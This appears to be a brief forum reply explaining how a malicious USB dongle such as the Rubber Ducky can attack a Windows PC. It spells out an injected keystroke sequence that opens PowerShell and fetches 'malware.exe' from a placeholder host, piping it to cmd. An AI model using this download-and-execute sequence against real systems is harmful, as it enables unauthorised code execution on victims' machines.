And exactly how would it be able to achieve that?

Malicious USB dongles capable of achieving this have been demonstrated before. For example, a Windows-targetting variant injects the keyboard sequence

  Super+R
  (Sleep for 1 second)
  powershell.exe (Enter)
  (Sleep for 1 second)
  wget http://example.net/malware.exe | cmd (Enter)

[1] https://shop.hak5.org/products/usb-rubber-ducky